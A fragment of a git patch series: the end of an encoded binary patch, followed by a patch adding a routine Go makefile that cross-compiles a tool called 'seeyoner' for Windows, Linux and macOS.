z9gUb^gDT;@^R_E3PgAbZ8{72lHa{K2B$p(#eTa%bMk3U}r$52-(@J`9+z-p!*H@9u ztGUP&05pIN{H`kr*%ocdA>vco^Cu^yQ>&1fkIN1ps@+QF1mhnPqf_!UTg2qgk0GnC zxW4eoajRwgq0C zG;PA&-vtNSbxq~{lG_D7r7g*-YT4x}273Qo5B=!8^_f5l=l1|LPy~RQ?AzV`_*^*E z2zdh4_`?_+ZWPTFd%aD~S4uuTO32}O9ewS2@HiuD#%FFK)% z%C`E-KTWcdLedNS+2a|?D)|Q!-t8|uWV&_$g7M9p9QA`6$=p#dB(gfJMO(`CaEYBh zXD+2bsKHiTi=5_$RUe#jZ~8d&S7Ax2I~D)7R=1-Ee_U%g$m@0Tn2YS}m91BN0R2AX z=M}GP?}4g`Op4+QSf>zww{Ygy&}a|!;^vGCN{8)DiIlYF;OQG5BiFSqNpw45vwh-m z=ZppqA>VN?)(iU4@M`Z6LxdQ2H^Zw~H!P5%ql72~Qw*mPZ|t4#8k39KPXmPrg00zG x+%X^w7wP_FJF=S{*gVx|R46?)eKifXQ~D0cqc>Ql^%E4loE-Pi3U>I${s-C=O|Jj| literal 0 HcmV?d00001 From ac16234852df62d8fd05e5b7d069dc04cb936622 Mon Sep 17 00:00:00 2001 From: la10ne <22907374+lal0ne@users.noreply.github.com> Date: Wed, 2 Aug 2023 16:49:46 +0800 Subject: [PATCH 6/6] :package: MAKE --- makefile | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 makefile diff --git a/makefile b/makefile new file mode 100644 index 0000000..8e7f145 --- /dev/null +++ b/makefile @@ -0,0 +1,31 @@ +# Output File Name +NAME=seeyoner +# Output File Location +DIR=output +$(shell mkdir -p ${DIR}) + +# Go build flags +LDFLAGS=-ldflags "-s -w" +# Go build file +GOFILE=main.go + +default: + go build ${LDFLAGS} -o ${DIR}/${NAME} ${GOFILE} + +all: windows linux darwin + +# Compile Server - Windows x64 +windows: + export GOOS=windows;export GOARCH=amd64;go build ${LDFLAGS} -o ${DIR}/${NAME}-Windows-x64.exe ${GOFILE} + +# Compile Server - Linux x64 +linux: + export GOOS=linux;export GOARCH=amd64;go build ${LDFLAGS} -o ${DIR}/${NAME}-Linux-x64 ${GOFILE} + +# Compile Server - Darwin x64 +darwin: + export GOOS=darwin;export GOARCH=amd64;go build ${LDFLAGS} -o ${DIR}/${NAME}-Darwin-x64 ${GOFILE} + +# clean +clean: + rm -rf ${DIR} \ No newline at end of file